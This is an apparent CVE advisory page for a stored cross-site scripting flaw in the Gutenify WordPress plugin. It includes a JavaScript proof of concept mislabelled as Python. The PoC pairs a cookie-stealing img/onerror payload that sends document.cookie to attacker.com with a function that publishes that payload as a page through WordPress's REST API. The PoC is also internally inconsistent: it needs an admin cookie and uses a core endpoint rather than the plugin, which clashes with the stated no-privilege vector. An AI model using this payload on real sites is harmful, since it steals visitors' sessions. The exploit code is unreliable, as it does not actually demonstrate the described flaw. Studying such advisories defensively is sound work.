CVE-2025-53324

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in CodeYatri Gutenify gutenify allows Stored XSS.This issue affects Gutenify: from n/a through <= 1.5.7.

CVSS Details

CVSS Score

7.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Gutenify <= 1.5.7

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-53324 Stored XSS in Gutenify WordPress Plugin
// PoC for testing (educational purposes only)

// XSS Payload - This will steal cookies when executed
const xssPayload = `<img src=x onerror="
  fetch('https://attacker.com/steal?c=' + document.cookie)
">`;

// Simulated attack scenario
async function exploitGutenify(targetUrl, adminCookie) {
  // Step 1: Inject malicious content through plugin's input field
  const injectEndpoint = `${targetUrl}/wp-json/wp/v2/pages`;
  
  const maliciousContent = {
    title: 'Malicious Page',
    content: xssPayload,
    status: 'publish'
  };
  
  // Send the malicious request (requires admin authentication)
  const response = await fetch(injectEndpoint, {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
      'Cookie': adminCookie
    },
    body: JSON.stringify(maliciousContent)
  });
  
  console.log('Payload injected. Any user visiting the page will have cookies stolen.');
  return response.json();
}

// Basic detection script
function detectGutenifyXSS() {
  // Check if Gutenify plugin is installed
  const scripts = document.querySelectorAll('script[src*="gutenify"]');
  if (scripts.length > 0) {
    console.log('Gutenify plugin detected');
    // Additional checks would go here
  }
}

// Mitigation: HTML entity encoding function
function sanitizeInput(input) {
  const div = document.createElement('div');
  div.textContent = input;
  return div.innerHTML;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-53324
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-53324
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-53324/
[4] VulDB https://vuldb.com/cve/CVE-2025-53324
[5] https://patchstack.com/database/Wordpress/Plugin/gutenify/vulnerability/wordpress-gutenify-plugin-1-5-6-cross-site-scripting-xss-vulnerability?_s_id=cve

Raw JSON Data

JSON

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